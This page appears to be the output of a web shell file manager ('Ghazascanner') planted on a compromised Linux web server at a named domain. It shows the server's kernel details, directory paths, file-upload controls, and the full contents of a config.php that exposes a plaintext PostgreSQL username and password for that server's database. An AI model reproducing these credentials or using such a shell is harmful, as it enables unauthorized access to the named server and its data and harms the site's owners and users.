@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
thesweb.ru
/
thes_test
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/thesweb.ru/thes_test/config.php
<?PHP include_once('commonf.php'); $myServer = "localhost"; $db = "thesweb_test"; $uid = "postgres"; $pwd = "y3mvy2kwC1"; $proj_name = 'ЛО "Знание"'; $revrybld2file = '/var/www/www-root/data/www/thesweb.ru/thes_test/revrybld/revrybld2'; $lstbldfile = '/var/www/www-root/data/www/thesweb.ru/thes_test/btr/btr_postgres_cns'; $lstblddir = '/var/www/www-root/data/www/thesweb.ru/thes_test/lsts'; $lstcode = '';//'E:\\usr\\local\\www\\labinform\\sci_thes\\btr\\codeb.bat'; ob_start(); session_start(); //print_r($_SESSION); if ((isset($_SESSION['valid_thes_' . $db])) && ($_SESSION['valid_thes_' . $db] === true)) { $usr_id = $_SESSION['usr_id']; $usr_name = $_SESSION['username']; $ssid = $_SESSION['ssid']; $isadm = ($_SESSION['usertypeid'] == 10); //echo($usr_id); } else { $usr_id = -1; $usr_name = ''; $ss_id = 0; $isadm = 0; unset($usr_id); unset($ss_id); } $start_page = '/'; $connect_string = "host=$myServer port=5432 dbname=$db user=$uid password=$pwd"; $conn = pg_connect($connect_string); if( $conn === false ) { echo "Unable to connect.</br>"; die( print_r( pg_errors(), true)); } ?>